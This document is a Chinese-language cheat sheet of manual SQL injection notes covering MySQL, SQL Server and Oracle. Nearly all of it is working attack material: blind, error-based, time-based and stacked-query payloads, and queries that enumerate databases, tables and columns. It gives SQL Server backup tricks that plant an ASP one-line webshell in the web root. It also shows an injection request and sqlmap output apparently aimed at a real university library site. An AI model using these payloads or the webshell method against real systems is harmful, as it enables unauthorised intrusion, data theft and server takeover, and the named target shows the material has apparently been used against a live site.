SQL手注参考笔记

MySQL

语法

1
2
3
4
5
6
7
if语句: if(1=1,1,0)
substr("abc", 1, 1) //a
select @@secure_file_priv; //查看文件导出权限
'/var/lib/mysql-files/'
select @@plugin_dir; //查看plugin目录
'/usr/lib64/mysql/plugin/'
select @@basedir; // 查看数据库目录

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
bool型(无空格)
1'and'y'='f
1'and'y'='y
1'and ord(mid(user(),1,1))>1 and 'y'='y
搜索型:
%' and 1=1 and '%'='
%' and 1=2 and '%'='
报错注入
'and/**/extractvalue(1,concat(char(126),md5(1982470395)))and'
'and/**/extractvalue(1,concat(user()))and'
1'and/**/updatexml(1,concat(char(126),user()),1)and'
盲注(无空格)
1'and(select*from(select+sleep(2))a/**/union/**/select+1)='
注数据库长度:
1'and(select*from(select if(LENGTH(database())=%d,sleep(3),0))a)='
注数据库名:
1'and(select*from(select if(ASCII(SUBSTR(database(),1,1))=97,sleep(3),0))a)=''

盲注常用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ascii(str): str是一个字符串参数,返回值为其最左侧字符的ascii码。通过它,我们才能确定特定的字符。

substr(str,start,len): 这个函数是取str中从下标start开始的,长度为len的字符串。通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。。

MID(str, start [, Length]): 也是截取字符串,只用于mysql。

length(str): 这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。

count([column]): 这个函数大家应该很熟,用来统计记录的数量的,其在盲注中,主要用于判断符合条件的记录的数量,并逐个破解。

if(condition,a,b): 当condition为true的时候,返回a,当condition为false的时候,返回b。

ord('a') 转换为ascii码

left(str, len) 取str中前len个字符。select LEFT('123',2)结果为12

char(114) 数字转换为字符

regexp '正则表达式' 正则表达式匹配 select '2bc' REGEXP '^[a-z]'

SQL Server

基本信息

  • 端口号为 1433
  • 数据库后缀名 .mdf
  • 注释符 –
  • 支持堆叠查询:Y

权限

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等system。SQLServer数据库的最高权限
  • db_owner权限:文件管理,数据库操作等权限 users-administrators
  • public权限:数据库操作 guest-users

数据库

有6个默认的库,分别是4个系统数据库:

  • master
  • model
  • msdb
  • tempdb

和2个其他数据库:

  • ReportServer
  • ReportServerTempDB。

其中,model和tempdb是默认没有数据表的。

语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
select @@version;       #查询数据库的版本
select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name(); #查询当前数据库名
select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
use tempdb #切换到tempdb表
top n #查询前n条记录
select substring('string',2,1) #截取给定字符串的索引为2的1个字符
select ascii('a') #查询给定字符串的ascii值
select len('string') #查询给定字符串的长度
if语句:sqlserver:if(1=1) (sql语句) else (sql语句)

#查询数据库
select count(name) from sysdatabases #查询数据库的个数
select name from sysdatabases #查询数据库的名字
select * from sysdatabases #查询所有数据库的信息

#查询数据表
select * from sysobjects where type='u' #查询当前数据库的所有表的详细信息
select count(name) from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的个数
select name from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的名字
select * from msdb..sysobjects where xtype='U' #查询指定msdb数据库中表的详细信息

#查询列
select name from syscolumns where id=(select max(id) from sysobjects where xtype='u' and name='users') #查询当前数据库的指定users表的所有列
select count(name) from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的个数
select name from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的所有列
select * from test..syscolumns where id=(select max(id) from test..sysobjects where xtype='u' and name='users') #查询指定test数据库的指定users表的列的详细信息

#查询数据
select count(*) from test..user #查询test数据库user表的数据的条数
select * from test..user #查询test数据库user表的所有数据

Payload

手工注入payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
xray检验是否存在sql注入:
932'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1899274127')))>'0

boolean-based blind
Payload: centid=932' AND 6663=6663 AND 'dlfS'='dlfS

error-based
Payload: centid=932' AND 8657 IN (SELECT (CHAR(113)+CHAR(120)+CHAR(106)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (8657=8657) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(120)+CHAR(122)+CHAR(113))) AND 'YkOb'='YkOb
Vector: AND [RANDNUM] IN (SELECT ('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))

stacked queries
centid=932';WAITFOR DELAY '0:0:5'--

time-based blind
centid=932';WAITFOR DELAY '0:0:5'--
admin'and(select+1)>0waitfor/**/delay'0:0:3
admin';waitfor/**/delay'0:0:3

获取当前user
932' and 1=(select user_name())--
获取当前数据库
932' and 1=(select db_name()) AND 'WckB'='WckB

获取第一个数据库(dbid=1获取第一个)
932' and 1=(select name from master.dbo.sysdatabases where dbid=1)--
注表名
932' and 1=(select top 1 name from where xtype=’u’)--
注列名
and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='表名'))--
注数据
932' and 1=(select top 1 表名 from 字段名)--
查看是否有xp_cmdshell权限()
932' and 1=(Select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')--
932' and 0=(Select count(*) FROM sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')--
判断当前数据库用户权限
and 1=(IS_SRVROLEMEMBER('sysadmin')) //返回正常为sa
and 1=(IS_MEMBER('db_owner')) //返回正常为DB_OWNER
and 1=(IS_srvrolemember('public')) //public权限,较低

SqlServer getshell

LOG备份

利用条件:

  1. 至少DBO权限
  2. 前提得知绝对路径,并且可写
  3. 站库不分离
  4. 数据库必须被备份过一次
1
2
3
4
5
6
alter database test set RECOVERY FULL;
create table dbo.test2(a image);
insert into test..test2(a) values (0x3c256578656375746520726571756573742822786879632229253e); //<%execute request("xhyc")%>
backup database test to disk='d:\sqlserver.bak';
backup log test to disk='d:\shell.asp' with init;
drop table test..test2;

测试dbo权限写入成功:

image

差异备份

  1. 至少DBO权限
  2. 前提知道绝对路径,路径可写。
  3. HTTP 500错误不是自定义
  4. WEB和数据在一块。还有的就是数据库中不能存在%号之类的,不然也是不成功的。
  5. 数据量不能太大
1
2
3
4
5
backup database test to disk = 'd:\sqlserver.bak';
create table test..test2(a image);
insert into test..test2(a) values (0x3c256578656375746520726571756573742822786879632229253e); //<%execute request("xhyc")%>
backup database test to disk = 'D:\phpstudy_pro\WWW\shell3.asp' with differential , format;
drop table test..test2;

测试dbo权限写入成功:

image

提权

Sqlserver 大于2005版本默认关闭xp_cmdshell,无法执行系统cmd命令,需要安装cmd_shell组件。

db_owner、public权限提权:通过文件备份功能写入一句话木马

参考链接

Oralce

1
2
3
4
5
6
7
8
9
POST /middle.aspx HTTP/1.1
Host: library.ysu.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Length: 115
Content-Type: application/x-www-form-urlencoded
Referer: http://library.ysu.edu.cn/
Accept-Encoding: gzip

number=2'/**/and/**/(select decode(length(user),5,dbms_pipe.receive_message('RDS',10),0) from dual)='1&passwd=admin
1
2
3
4
> python sqlmap.py -r pack.txt -pnumber  -v --sql-shell
select banner from sys.v_$version [2]:
[*] Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
[*] PL/SQL Release 11.2.0.1.0 - Production

基本信息

  • Oracle不支持堆叠查询
  • DBMS_PIPE.RECEIVE_MESSAGE函数将为从RDS管道返回的数据等待10秒。默认情况下,允许以public权限执行该包。
  • 不同于其它数据库,oracle只会安装一个数据库,但是可以创建多个用户,将用户和表对应起来。
  • dual是一个虚拟表,用来构成select的语法规则,oracle保证dual里面永远只有一条记录。
  • 创建用户不指定表空间会把各种数据放到默认的空间里

常用数据表:

  • dba用户表:dba_users
  • dba表空间表:dba_tablespaces
  • 版本号表:product_component_version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
PS C:\Users\admin> sqlplus

SQL*Plus: Release 11.2.0.2.0 Production on 星期四 9月 24 11:54:09 2020

Copyright (c) 1982, 2014, Oracle. All rights reserved.

请输入用户名: sys as sysdba
输入口令:

连接到:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

//create user xxxxx(用户名) identified by "密码"
//grant dba to 用户名 --给用户赋予所有权限,connect是赋予连接数据库的权限,resource 是赋予用户只可以创建实体但是没有创建数据结构的权限。

//切换用户
SQL> conn scott
输入口令: 123456
已连接。

//查看当前用户==show user
SQL> select user from dual;

USER
------------------------------------------------------------
SCOTT

//查看数据库版本
SQL> select product, version from product_component_version where substr(product, 1, 6)='Oracle';

PRODUCT
--------------------------------------------------------------------------------
VERSION
--------------------------------------------------------------------------------
Oracle Database 11g Express Edition
11.2.0.2.0

//使用host命令可以执行系统命令
SQL> host whoami
desktop-3o58k0a\admin

//创建表
SQL> create table t_user(id number(10) primary key, name varchar2(20));

表已创建。

//插入
SQL> insert into t_user(id, name) values(1, '123'); //必须是单引号?双引号就报错

已创建 1 行。

//有更新一定要commit
SQL>COMMIT;

//查看所有表空间
SQL> select tablespace_name from dba_tablespaces;

TABLESPACE_NAME
------------------------------------------------------------
SYSTEM
SYSAUX
UNDOTBS1
TEMP
USERS

//查看当前用户的表
SQL> select table_name from user_tables where rownum < 5;

TABLE_NAME
------------------------------------------------------------
ICOL$
IND$
COL$
CLU$

//延时函数dbms_pipe.receive_message:从rds(可任意命名)管道等待4秒钟
SQL> select dbms_pipe.receive_message('rds', 4) from dual;

DBMS_PIPE.RECEIVE_MESSAGE('RDS',4)
----------------------------------
1
//查询ip地址
SQL> select utl_inaddr.get_host_address from dual;

GET_HOST_ADDRESS
--------------------------------------------------------------------------------
fe80::35db:b13e:5850:3ca3%3

语法

1
2
3
4
decode(条件,值1,返回值1,值2,返回值2,…值n,返回值n,缺省值) //作用与if类似
substr(user, 1, 1)
ascii('a')
dbms_pipe.receive_message(任意管道名, 等待时间)

Payloads

1
2
3
4
time-based
2'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('f',3)='f
2'/**/and/**/(select decode(length(user),6,dbms_pipe.receive_message('RDS',5),0) from dual)='1
2'/**/and/**/(select decode(ascii(substr(user,1,1)), 128, dbms_pipe.receive_message('RDS',5),0) from dual)='1